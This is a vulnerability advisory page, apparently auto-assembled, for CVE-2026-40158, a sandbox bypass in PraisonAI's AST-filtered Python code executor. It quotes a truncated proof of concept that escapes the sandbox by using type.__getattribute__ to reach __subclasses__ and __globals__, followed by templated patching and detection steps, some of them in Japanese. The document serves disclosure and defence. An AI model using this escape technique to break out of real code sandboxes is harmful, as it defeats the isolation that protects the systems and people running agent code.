Vulnerability in praisonai (CVE-2026-40158)
Summary
Vulnerability in praisonai (CVE-2026-40158). Successful exploitation can lead to full system takeover. Exploitable via type.__getattribute__. Mitigation: upgrade to 4.5.128 or later.
Original description
The description as published by the source.
PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.
Description
The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:
The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.
type.__getattribute__(obj, '__subclasses__') # Bypasses filter
The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.
Proof of Concept
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)
# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]
# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()
# Find _wrap_close class
for c in all_subclasses:
if t.__getattribute__(c, '__name__') == '_wrap_close':
# Get __init__.__globals__ via bypass
init = t.__getattribute__(c, '__init__')
glb = type(init).__getattribute__(init, '__globa…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-40158 has been found in praisonai.
Attackers can target a specific entry point like type.__getattribute__ over the network to misuse the product.
Successful exploitation can lead to full system takeover.
What to do: upgrade praisonai to 4.5.128 or later.
If unsure, ask your IT team or search "praisonai CVE-2026-40158" on the vendor's site.
CVE-2026-40158 (praisonai) — CWE-693
Attack vector: local / unauthenticated
Attack surface: type.__getattribute__ / _execute_code_direct / __subclasses__ / __globals__
Patched: 4.5.128 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-693) exists in praisonai. Attackers reach the vulnerable code path via type.__getattribute__ without authentication.
Check the vendor advisory for the affected versions of praisonai. Attack surface: type.__getattribute__ / _execute_code_direct / __subclasses__ / __globals__.
Severity: ?. Successful exploitation can lead to full system takeover.
Update to 4.5.128.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonai' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'praisonai' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonaiを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade praisonai to 4.5.128ステージング環境で 4.5.128 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com